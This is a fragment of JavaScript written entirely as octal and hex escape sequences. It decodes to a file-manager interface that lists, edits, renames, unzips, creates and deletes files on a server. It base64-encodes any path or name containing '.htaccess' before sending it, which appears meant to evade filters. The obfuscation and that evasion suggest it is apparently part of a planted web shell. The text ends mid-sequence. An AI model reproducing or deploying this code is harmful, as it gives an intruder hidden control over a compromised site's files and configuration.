47\47\73\x20\x6c\145\x74\40\x70\141\162\145\156\164\120\141\x74\150\40\75\x20\x53\124\101\124\105\56\143\165\162\x72\145\x6e\x74\x50\x61\x74\150\x2e\x73\x75\142\x73\x74\x72\x69\156\147\50\60\x2c\x20\123\x54\x41\124\105\x2e\x63\165\x72\162\145\x6e\164\120\141\164\x68\x2e\154\141\x73\x74\x49\x6e\144\x65\x78\117\146\x28\47\x2f\x27\51\51\x3b\x20\x69\x66\x20\50\160\141\162\145\x6e\x74\x50\x61\164\x68\x20\75\x3d\x3d\40\x27\x27\51\x20\160\141\162\145\x6e\164\120\141\164\x68\40\x3d\x20\x27\x2f\x27\73\xa\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\151\x66\40\50\x53\x54\101\124\x45\56\143\165\162\162\145\156\164\120\x61\164\x68\40\41\x3d\75\40\x27\x2f\x27\x29\x20\173\x20\150\164\x6d\154\x20\x2b\75\x20\140\x3c\x74\x72\x20\x64\141\164\141\x2d\160\x61\164\x68\x3d\x22\x24\x7b\160\x61\x72\145\x6e\164\x50\141\164\150\x7d\x22\76\74\x74\x64\76\x3c\57\x74\144\x3e\x3c\x74\x64\40\x63\x6f\x6c\163\160\x61\156\x3d\42\x34\x22\x20\x63\154\141\x73\163\x3d\x22\x69\164\145\155\x2d\x6c\x69\x6e\x6b\42\76\xc3\x83\302\xa2\xc3\x82\302\254\303\202\302\206\303\203\302\xaf\xc3\x82\302\270\xc3\x82\302\x8f\x20\56\56\x20\x28\120\x61\162\x65\x6e\164\x20\x44\x69\x72\145\x63\x74\x6f\162\171\x29\x3c\57\164\144\x3e\74\x2f\x74\x72\x3e\x60\x3b\x20\175\12\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\162\145\163\165\x6c\x74\56\x66\x69\154\145\x73\56\x73\157\x72\164\50\x28\x61\54\142\x29\x20\75\x3e\x20\x28\141\56\x69\163\x5f\144\151\162\x20\x3d\x3d\x3d\40\142\x2e\x69\163\x5f\x64\151\x72\x29\x20\x3f\40\141\x2e\x6e\x61\x6d\145\x2e\154\157\x63\141\154\x65\x43\157\x6d\160\x61\162\145\x28\142\56\x6e\x61\x6d\x65\x29\40\x3a\40\x28\x61\x2e\x69\x73\137\x64\x69\162\x20\x3f\40\x2d\x31\x20\72\x20\x31\51\51\x3b\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\162\x65\x73\x75\154\x74\x2e\146\x69\154\145\163\x2e\x66\157\x72\x45\141\x63\150\x28\x66\151\154\145\40\75\x3e\40\x7b\xa\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x63\157\x6e\163\164\40\x73\151\172\x65\40\x3d\40\x66\151\x6c\x65\56\151\x73\137\144\151\x72\x20\x3f\x20\47\x2d\x27\x20\72\x20\x28\146\x69\154\x65\56\x73\151\172\x65\40\57\40\x31\x30\x32\x34\x29\x2e\x74\157\x46\151\170\x65\144\x28\62\51\40\53\40\47\40\x4b\x42\47\73\x20\143\x6f\x6e\x73\164\x20\155\x6f\x64\151\146\x69\145\144\40\75\x20\156\x65\x77\x20\104\141\164\x65\50\x66\151\154\x65\x2e\155\x6f\x64\151\146\x69\x65\x64\x20\52\40\x31\x30\60\60\51\56\x74\x6f\x4c\x6f\143\x61\154\x65\x53\x74\162\x69\156\x67\x28\x29\73\12\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x63\x6f\x6e\163\164\40\x69\x63\157\156\40\75\x20\146\x69\154\x65\x2e\151\163\x5f\144\151\162\x20\77\x20\x27\xc3\203\302\xb0\303\202\xc2\x9f\xc3\202\xc2\223\xc3\x82\xc2\201\47\40\72\40\x27\xc3\x83\xc2\260\xc3\202\xc2\x9f\xc3\x82\302\223\303\202\302\204\47\73\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\143\x6f\x6e\163\x74\40\x66\165\154\x6c\120\141\x74\x68\40\x3d\x20\x60\x24\x7b\x53\x54\x41\124\x45\x2e\143\165\162\162\x65\156\164\x50\141\164\x68\x7d\57\x24\x7b\146\x69\x6c\x65\56\156\x61\155\x65\175\x60\56\162\x65\x70\154\141\143\145\x28\57\x5c\57\53\x2f\147\54\x20\x27\57\x27\x29\x3b\40\143\x6f\156\163\164\x20\144\141\164\x61\x41\164\x74\162\40\75\40\140\x64\141\x74\x61\x2d\160\x61\164\150\x3d\x22\44\x7b\146\165\154\x6c\120\141\164\x68\x7d\42\140\73\40\143\157\156\x73\164\x20\162\157\x77\x44\x61\x74\141\40\x3d\x20\x66\x69\x6c\x65\x2e\x69\163\137\144\x69\x72\x20\77\x20\140\x63\x6c\141\x73\x73\x3d\42\144\151\x72\55\154\151\x6e\153\x22\x20\44\x7b\144\141\x74\x61\x41\x74\164\162\x7d\140\x20\72\40\47\47\x3b\xa\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\150\164\155\154\x20\53\75\40\140\x3c\164\x72\x20\x24\x7b\x72\x6f\x77\104\141\x74\x61\175\76\x3c\x74\144\x3e\74\151\156\160\165\164\40\x74\171\x70\145\x3d\x22\x63\150\145\143\x6b\x62\x6f\170\x22\40\x63\154\x61\x73\163\x3d\x22\x69\x74\x65\155\55\x73\145\154\145\x63\164\42\40\166\141\154\x75\x65\x3d\x22\x24\x7b\146\151\x6c\145\x2e\156\x61\155\145\175\x22\x3e\x3c\x2f\164\x64\76\74\x74\x64\76\74\x61\40\150\x72\x65\146\75\x22\x23\42\x20\x63\154\141\x73\163\75\42\x69\x74\145\155\x2d\154\x69\x6e\153\x22\40\44\173\x64\x61\164\141\x41\x74\x74\x72\175\x3e\44\x7b\x69\x63\157\156\x7d\40\x24\173\146\151\154\x65\56\156\x61\x6d\x65\175\74\x2f\141\x3e\74\x2f\164\144\76\x3c\164\x64\x3e\44\x7b\x73\x69\x7a\x65\175\74\57\x74\x64\76\74\164\x64\x3e\x24\x7b\x6d\x6f\144\151\146\x69\145\144\x7d\74\x2f\x74\x64\76\x3c\x74\x64\76\74\x64\151\166\40\143\154\x61\x73\x73\x3d\42\141\x63\x74\x69\x6f\156\x73\42\x3e\44\173\41\146\151\x6c\x65\56\x69\x73\137\144\x69\162\40\77\x20\140\x3c\142\x75\x74\x74\157\x6e\x20\x63\154\x61\x73\x73\x3d\42\142\x75\164\164\x6f\x6e\40\145\x64\151\164\55\142\x74\156\x22\40\x24\173\x64\141\x74\141\101\164\x74\162\175\76\x45\x64\151\164\x3c\57\142\165\164\x74\x6f\x6e\x3e\x60\40\72\x20\x27\x27\x7d\74\142\x75\x74\164\157\x6e\x20\x63\x6c\x61\x73\163\75\x22\x62\165\164\164\157\156\40\162\145\156\x61\155\x65\55\142\164\x6e\x22\x20\144\x61\164\x61\x2d\x6e\x61\x6d\145\75\42\44\x7b\x66\151\x6c\145\56\x6e\x61\155\x65\x7d\42\x3e\x52\145\x6e\x61\155\x65\74\x2f\x62\x75\164\x74\157\156\x3e\x24\x7b\x66\151\154\x65\56\x6e\x61\155\145\56\145\156\144\x73\x57\x69\x74\x68\x28\x27\x2e\172\151\x70\47\51\40\77\40\140\74\142\x75\164\x74\157\156\40\x63\x6c\141\x73\163\75\42\142\x75\164\164\x6f\x6e\40\x75\156\x7a\x69\x70\x2d\x62\164\x6e\42\40\x24\173\144\x61\164\x61\101\x74\164\162\x7d\76\125\x6e\172\x69\x70\x3c\x2f\x62\165\164\164\x6f\156\76\x60\72\x27\47\x20\175\74\x2f\144\151\166\x3e\74\57\164\x64\76\74\x2f\x74\162\76\x60\x3b\12\40\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\175\x29\73\xa\40\40\40\40\40\x20\40\x20\x20\40\40\40\40\40\40\x20\144\x6f\x6d\x2e\146\151\x6c\x65\114\151\163\164\56\151\x6e\x6e\145\x72\x48\124\x4d\114\x20\x3d\40\x68\164\x6d\154\73\x20\x64\157\155\56\x73\x65\x6c\x65\143\x74\101\154\154\x2e\x63\150\x65\x63\x6b\x65\144\x20\75\40\146\x61\154\x73\145\x3b\12\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x7d\x29\x3b\12\x20\x20\40\x20\40\40\x20\40\175\xa\x20\40\x20\40\40\40\40\x20\12\40\x20\40\40\40\40\40\40\144\x6f\155\56\146\151\154\145\x4c\151\x73\164\56\x61\144\144\x45\x76\x65\156\164\114\151\163\164\x65\x6e\x65\x72\x28\x27\x63\154\151\143\x6b\x27\54\x20\x65\x20\x3d\76\40\173\xa\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x69\146\40\x28\x65\56\164\141\162\x67\x65\164\x2e\x6d\141\x74\x63\150\145\163\50\47\x2e\x69\164\x65\155\x2d\163\145\154\x65\x63\164\47\51\51\40\173\x20\162\x65\164\x75\162\x6e\x3b\40\175\xa\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\143\157\156\163\x74\x20\x62\x75\x74\x74\x6f\x6e\40\x3d\40\x65\56\164\x61\162\x67\145\164\56\x63\154\x6f\163\145\x73\164\x28\47\142\x75\164\x74\157\156\x27\x29\x3b\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x69\x66\x20\x28\x62\x75\x74\164\x6f\x6e\51\x20\173\12\x20\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\x20\x65\x2e\x70\162\145\166\145\156\x74\104\145\x66\x61\165\x6c\164\x28\51\73\xa\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\40\x20\151\x66\x20\x28\142\165\164\x74\x6f\x6e\56\x6d\141\164\x63\x68\x65\x73\50\47\x2e\162\145\156\x61\155\145\55\142\x74\156\x27\51\51\x20\173\12\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\143\157\156\x73\x74\x20\x6f\x6c\x64\x4e\x61\x6d\x65\40\75\40\142\x75\x74\164\157\x6e\x2e\x64\x61\x74\x61\163\x65\164\x2e\x6e\141\x6d\x65\x3b\12\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x63\157\x6e\x73\x74\x20\156\x65\x77\x4e\141\x6d\x65\40\x3d\40\160\x72\157\x6d\160\164\50\x27\x45\156\x74\145\x72\40\156\145\x77\x20\x6e\x61\155\145\72\47\x2c\x20\x6f\x6c\x64\x4e\x61\x6d\x65\x29\x3b\xa\40\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\x69\146\40\50\156\x65\167\x4e\x61\155\145\x20\x26\x26\40\x6e\x65\167\116\141\x6d\145\x20\x21\75\x3d\x20\x6f\154\x64\x4e\x61\x6d\x65\51\x20\173\xa\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\143\157\x6e\163\x74\40\146\144\40\75\x20\156\x65\x77\40\x46\x6f\x72\155\104\x61\x74\141\50\x29\73\12\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\146\144\x2e\x61\160\160\x65\156\x64\50\x27\x70\x61\x74\x68\47\x2c\x20\x53\124\x41\124\105\x2e\143\165\x72\162\x65\156\x74\x50\141\x74\150\x29\x3b\xa\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\x6c\x65\164\40\x61\x63\x74\x69\157\156\x20\75\x20\x27\162\145\156\x61\x6d\x65\x27\x3b\xa\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x69\x66\x20\x28\x6f\x6c\x64\x4e\141\x6d\x65\56\x69\156\x63\154\x75\144\x65\x73\x28\x27\56\x68\x74\141\x63\x63\x65\x73\163\x27\51\40\x7c\x7c\40\156\145\x77\116\141\x6d\145\x2e\x69\x6e\x63\154\x75\x64\145\163\50\47\x2e\x68\164\x61\x63\143\145\163\x73\x27\x29\x29\x20\173\xa\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\x61\x63\x74\151\157\x6e\x20\75\40\47\x72\145\x6e\x61\155\x65\137\x62\66\x34\x27\x3b\xa\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\146\x64\56\141\x70\x70\x65\156\x64\x28\47\x6f\x6c\144\137\156\141\155\145\137\x62\x36\64\x27\x2c\40\142\164\x6f\141\50\x6f\x6c\x64\116\141\x6d\x65\x29\x29\x3b\12\40\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\x66\x64\x2e\x61\160\x70\145\x6e\144\50\x27\x6e\x65\x77\x5f\156\x61\155\x65\137\x62\66\x34\x27\x2c\x20\142\164\x6f\x61\50\x6e\145\167\116\x61\155\x65\x29\x29\x3b\12\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\175\x20\145\x6c\163\145\x20\173\12\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\146\144\56\x61\160\160\x65\156\x64\x28\x27\157\154\144\137\x6e\x61\155\x65\47\x2c\40\157\x6c\144\x4e\x61\155\145\51\x3b\12\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\146\x64\x2e\141\160\160\x65\x6e\144\50\47\x6e\145\167\137\156\x61\155\x65\47\x2c\40\x6e\x65\x77\x4e\141\x6d\x65\51\x3b\xa\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\175\12\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\141\160\x69\103\141\154\x6c\50\x61\x63\x74\x69\x6f\x6e\54\40\x66\x64\x29\x2e\x74\x68\145\156\50\162\145\156\144\x65\162\51\x3b\xa\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x7d\xa\40\40\40\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\175\x20\12\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\40\x20\40\145\154\x73\x65\40\151\x66\x20\x28\142\x75\x74\164\157\x6e\x2e\155\x61\164\143\150\x65\x73\x28\47\56\x75\x6e\x7a\x69\160\55\x62\x74\x6e\47\51\x29\40\x7b\x20\x69\x66\x20\x28\x63\x6f\156\146\151\162\x6d\50\47\101\162\145\40\171\157\165\x20\x73\165\162\145\x20\x79\x6f\x75\40\167\141\156\x74\40\x74\x6f\40\x65\x78\164\162\x61\143\x74\40\164\150\151\163\40\141\x72\x63\150\151\x76\x65\77\x27\x29\x29\x20\x7b\40\x63\157\156\163\164\x20\146\x64\x20\75\x20\156\x65\167\40\106\157\x72\x6d\x44\141\164\141\x28\x29\73\40\146\x64\56\141\160\x70\145\156\144\x28\47\x70\141\164\x68\x27\54\40\x62\165\x74\x74\157\156\x2e\144\141\164\141\x73\x65\164\56\x70\141\x74\150\x29\73\x20\141\160\x69\103\x61\154\154\x28\47\165\x6e\x7a\x69\160\x27\54\x20\146\x64\54\40\164\x72\x75\x65\x29\56\x74\x68\x65\x6e\x28\x72\145\156\x64\x65\x72\51\73\40\x7d\x20\x7d\40\12\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x65\x6c\x73\145\40\151\146\40\x28\142\165\x74\164\x6f\156\56\155\x61\164\x63\150\145\x73\x28\x27\56\x65\144\151\164\x2d\142\164\x6e\x27\51\x29\x20\173\xa\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\143\x6f\x6e\163\x74\x20\x70\141\x74\150\40\x3d\x20\142\165\164\x74\x6f\x6e\56\144\141\x74\141\163\145\164\x2e\160\141\x74\x68\x3b\xa\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\143\x6f\x6e\x73\164\40\x66\x64\40\x3d\40\x6e\145\167\40\106\157\x72\155\x44\x61\164\141\x28\x29\x3b\xa\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\154\145\x74\x20\x61\143\x74\151\157\x6e\x20\75\40\x27\x67\145\164\x5f\143\157\x6e\164\x65\156\164\x27\73\xa\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\x69\146\x20\50\160\141\x74\x68\56\151\x6e\143\154\x75\144\145\x73\x28\47\x2e\x68\164\x61\x63\143\x65\163\x73\x27\x29\51\x20\173\12\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\40\x20\141\143\x74\151\x6f\x6e\40\x3d\40\x27\147\x65\x74\x5f\143\157\156\x74\145\156\x74\x5f\142\66\x34\47\73\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\x66\144\x2e\x61\x70\160\145\x6e\x64\x28\x27\160\x61\164\x68\x5f\142\x36\64\x27\x2c\x20\142\164\x6f\x61\x28\160\x61\164\150\x29\x29\x3b\12\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\175\40\x65\x6c\163\x65\x20\173\xa\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x66\144\56\x61\x70\x70\145\156\144\x28\47\x70\141\164\150\x27\x2c\40\160\x61\x74\x68\51\73\12\40\40\40\40\40\x20\40\40\40\x20\40\40\x20\40\40\40\40\40\x20\x20\175\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\x61\160\x69\103\141\154\154\x28\x61\x63\x74\151\157\156\x2c\40\146\144\51\x2e\x74\150\145\156\x28\162\145\x73\165\154\x74\40\x3d\x3e\40\173\xa\40\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\151\146\50\x72\x65\x73\x75\x6c\x74\x29\x20\x7b\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\144\157\x6d\x2e\145\x64\x69\x74\x6f\162\x46\x69\x6c\145\x6e\x61\x6d\x65\56\x74\145\x78\x74\103\x6f\x6e\x74\x65\156\164\40\x3d\40\160\141\x74\x68\73\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x64\157\x6d\x2e\x65\144\x69\x74\157\x72\56\166\x61\154\x75\145\x20\x3d\x20\141\x74\x6f\x62\x28\x61\164\157\x62\x28\x72\x65\x73\165\x6c\164\x2e\143\x6f\x6e\x74\145\x6e\x74\x29\x29\73\12\40\40\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x64\x6f\x6d\x2e\x65\x64\151\x74\157\162\x4d\157\144\x61\x6c\x2e\163\164\x79\x6c\145\x2e\x64\x69\163\x70\x6c\141\171\x20\x3d\40\47\x66\x6c\x65\x78\x27\x3b\xa\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\40\x20\x7d\xa\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\175\x29\73\xa\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\175\xa\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x72\x65\x74\165\x72\156\x3b\xa\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x7d\12\40\40\40\40\x20\40\x20\40\40\x20\40\x20\143\157\156\163\x74\x20\156\141\x76\x54\x61\162\x67\145\164\40\x3d\x20\x65\x2e\x74\141\162\147\x65\164\x2e\x63\154\x6f\163\x65\163\164\50\47\133\144\x61\x74\x61\55\160\x61\164\150\135\x27\51\73\xa\40\40\x20\x20\x20\x20\40\40\40\40\40\40\151\x66\40\50\x6e\x61\166\124\141\x72\x67\145\x74\51\40\x7b\x20\x65\x2e\x70\x72\x65\x76\x65\156\164\104\x65\x66\x61\165\154\x74\x28\x29\73\x20\123\x54\101\x54\x45\x2e\x63\x75\x72\162\x65\156\x74\120\x61\164\x68\40\75\x20\156\141\166\124\141\162\x67\145\164\56\x64\x61\x74\x61\x73\x65\164\56\160\x61\x74\x68\73\x20\x72\145\156\x64\x65\x72\x28\51\x3b\x20\175\12\40\40\40\x20\40\40\x20\x20\x7d\51\x3b\12\40\40\x20\x20\x20\x20\x20\40\12\40\40\x20\x20\40\40\x20\x20\144\x6f\155\x2e\156\145\167\106\157\154\x64\x65\x72\102\164\156\56\x61\x64\x64\x45\x76\145\156\164\x4c\x69\x73\x74\x65\156\x65\162\50\47\143\154\151\143\153\47\54\x20\x28\x29\x20\75\x3e\40\x7b\x20\143\157\156\x73\x74\x20\156\141\155\x65\x20\x3d\x20\160\x72\x6f\155\160\x74\50\47\105\156\x74\x65\x72\40\x6e\x65\x77\40\x66\x6f\154\144\145\x72\40\x6e\x61\x6d\x65\72\47\51\x3b\40\x69\146\40\x28\156\141\x6d\x65\x29\x20\x7b\40\x63\x6f\156\x73\164\40\x66\x64\x20\75\40\x6e\x65\x77\x20\106\x6f\x72\155\104\x61\x74\141\x28\x29\x3b\x20\x66\x64\x2e\x61\x70\160\x65\x6e\144\x28\x27\160\141\x74\x68\47\54\40\x53\124\101\124\x45\56\x63\165\x72\x72\x65\x6e\164\120\x61\164\x68\51\x3b\x20\146\x64\x2e\141\x70\x70\145\156\x64\50\47\x6e\x61\155\x65\47\54\x20\x6e\141\155\x65\51\x3b\x20\141\x70\151\103\x61\154\154\x28\x27\143\162\x65\141\x74\x65\137\146\157\x6c\144\x65\x72\x27\54\40\146\x64\51\56\x74\x68\x65\156\x28\x72\145\156\144\x65\x72\51\x3b\40\175\40\x7d\x29\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\144\x6f\x6d\56\x6e\145\167\x46\x69\x6c\x65\102\164\x6e\x2e\x61\144\144\x45\166\x65\156\x74\114\x69\x73\164\x65\156\x65\x72\50\x27\x63\154\x69\143\x6b\x27\x2c\x20\50\51\x20\75\x3e\x20\x7b\40\143\x6f\x6e\x73\x74\40\x6e\x61\155\x65\x20\x3d\x20\160\x72\157\155\x70\x74\x28\x27\105\156\x74\x65\162\x20\156\145\x77\40\x66\151\x6c\145\x20\156\141\155\145\72\x27\51\x3b\40\x69\146\x20\x28\x6e\141\155\x65\x29\40\x7b\40\143\157\x6e\163\x74\x20\146\x64\40\x3d\40\x6e\x65\x77\40\106\157\x72\155\x44\141\x74\x61\x28\x29\73\40\x66\x64\56\x61\x70\x70\x65\156\144\x28\47\x70\x61\164\x68\47\54\40\123\124\x41\124\x45\56\x63\165\x72\162\x65\156\164\120\x61\x74\x68\51\73\40\x66\x64\x2e\x61\x70\x70\145\156\x64\50\x27\x6e\141\x6d\x65\47\54\x20\156\141\155\x65\x29\73\x20\x61\x70\151\103\141\154\x6c\x28\x27\143\x72\x65\141\x74\x65\x5f\146\151\154\145\x27\x2c\40\146\x64\51\56\164\150\x65\x6e\x28\162\145\156\144\x65\x72\51\x3b\40\x7d\40\x7d\x29\x3b\xa\40\40\x20\40\x20\x20\x20\x20\x64\x6f\155\x2e\163\x65\x6c\145\x63\x74\101\154\154\x2e\x61\144\144\105\166\x65\x6e\164\114\151\163\x74\x65\156\145\x72\50\x27\x63\x68\141\156\147\x65\47\x2c\40\145\x20\75\x3e\40\x64\157\143\x75\x6d\145\156\164\56\161\x75\x65\x72\x79\123\145\154\145\143\x74\x6f\x72\101\x6c\154\50\x27\x2e\151\164\x65\155\x2d\x73\x65\x6c\145\143\164\47\x29\x2e\146\157\x72\105\141\143\150\x28\x63\x62\40\75\x3e\x20\143\x62\x2e\x63\x68\x65\143\x6b\145\x64\40\75\x20\x65\56\x74\x61\162\147\x65\164\x2e\x63\150\x65\143\153\145\144\x29\x29\x3b\xa\x20\x20\x20\x20\40\x20\x20\40\xa\x20\x20\40\40\x20\x20\40\x20\144\157\155\x2e\144\x65\x6c\145\164\x65\x42\x74\156\56\x61\144\144\x45\166\145\156\164\x4c\151\x73\164\x65\156\x65\162\x28\47\143\154\151\143\153\47\54\x20\x28\51\40\75\x3e\x20\173\xa\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\143\157\156\163\164\x20\163\145\x6c\x65\143\x74\x65\144\x20\75\x20\101\x72\162\x61\171\56\x66\162\x6f\x6d\x28\144\x6f\143\x75\155\x65\x6e\164\56\161\x75\x65\162\171\x53\145\154\145\x63\x74\157\162\x41\154\154\50\47\x2e\x69\164\x65\155\55\163\x65\154\x65\143\x74\72\143\x68\x65\143\x6b\145\144\x27\51\51\x2e\155\141\x70\x28\x63\x62\x20\75\76\40\143\x62\56\166\141\x6c\165\145\51\73\12\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\151\146\40\50\163\x65\154\145\x63\164\145\144\x2e\x6c\x65\156\x67\164\x68\40\x3d\x3d\75\x20\60\51\x20\x72\x65\x74\165\x72\156\40\141\x6c\145\x72\x74\x28\x27\x4e\x6f\x20\x69\164\145\x6d\163\40\163\x65\x6c\x65\143\x74\x65\x64\56\x27\x29\x3b\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\151\146\40\x28\x63\157\156\146\x69\x72\155\x28\140\x41\x72\145\x20\171\x6f\165\x20\x73\x75\162\145\x20\171\157\165\x20\x77\x61\156\164\40\164\157\x20\144\145\154\x65\x74\x65\x20\44\173\163\x65\x6c\145\x63\164\145\x64\x2e\x6c\x65\156\147\x74\150\x7d\x20\x69\x74\x65\x6d\50\x73\x29\77\140\x29\x29\40\173\12\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x63\157\x6e\163\164\40\x66\144\x20\75\40\156\x65\x77\40\x46\157\162\155\x44\x61\x74\141\x28\51\73\xa\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\146\144\56\x61\x70\160\x65\156\144\x28\47\x70\141\164\x68\x27\x2c\x20\x53\x54\101\124\x45\x2e\x63\x75\162\x72\x65\x6e\x74\x50\141\164\x68\51\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\143\157\156\163\x74\x20\x69\x73\x53\145\156\163\x69\x74\151\166\x65\x20\75\x20\163\x65\x6c\x65\143\164\145\144\x2e\163\x6f\x6d\x65\x28\x69\164\x65\155\40\75\x3e\x20\151\x74\x65\155\56\151\x6e\x63\154\165\144\145\163\50\47\56\150\164\x61\x63\x63\145\x73\163\47\51\x29\73\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\154\145\x74\40\x61\143\x74\151\157\156\x20\75\x20\x27\x64\x65\154\x65\164\x65\x27\73\xa\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\151\146\40\50\x69\163\x53\x65\x6e\x73\151\x74\x69\166\x65\x29\x20\x7b\xa\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x61\x63\164\x69\157\x6e\x20\x3d\40\x27\144\x65\154\x65\164\x65\x5f\x62\x36\64\47\73\12\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\40\x73\x65\x6c\x65\x63\164\145\x64\56\146\x6f\162\x45\x61\143\150\50\151\164\x65\155\40\x3d\x3e\40\146\144\x2e\141\160\160\145\156\x64\50\47\151\x74\145\x6d\163\137\142\x36\x34\133\135\47\x2c\x20\x62\164\x6f\141\50\x69\x74\145\x6d\51\x29\51\x3b\12\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\175\x20\145\x6c\163\x65\x20\x7b\xa\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x73\145\x6c\x65\x63\x74\145\x64\56\x66\157\162\105\141\x63\x68\50\151\x74\145\x6d\x20\75\x3e\x20\x66\x64\x2e\x61\160\160\145\156\x64\50\x27\x69\x74\x65\155\x73\x5b\135\47\54\x20\x69\x74\x65\x6d\51\51\73\xa\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x7d\12\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\141\160\x69\x43\x61\x6c\x6c\50\x61\x63\164\151\x6f\x6e\x2c\40\146\144\51\56\164\x68\145\156\x28\x72\145\156\144\x65\x72\51\x3b\xa\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\175\12\x20\40\x20\40\x20\x20\x20\x20\x7d\x29\73\xa\x20\x20\40\x20\40\x20\40\x20\xa\40\x20\x20\40\40\40\x20\40\144\157\x6d\56\165\x70\154\157\x61\144\x42\x74\156\x2e\141\x64\144\x45\x76\145\x6e\x74\x4c\x69\163\x74\145\x6e\145\x72\50\x27\x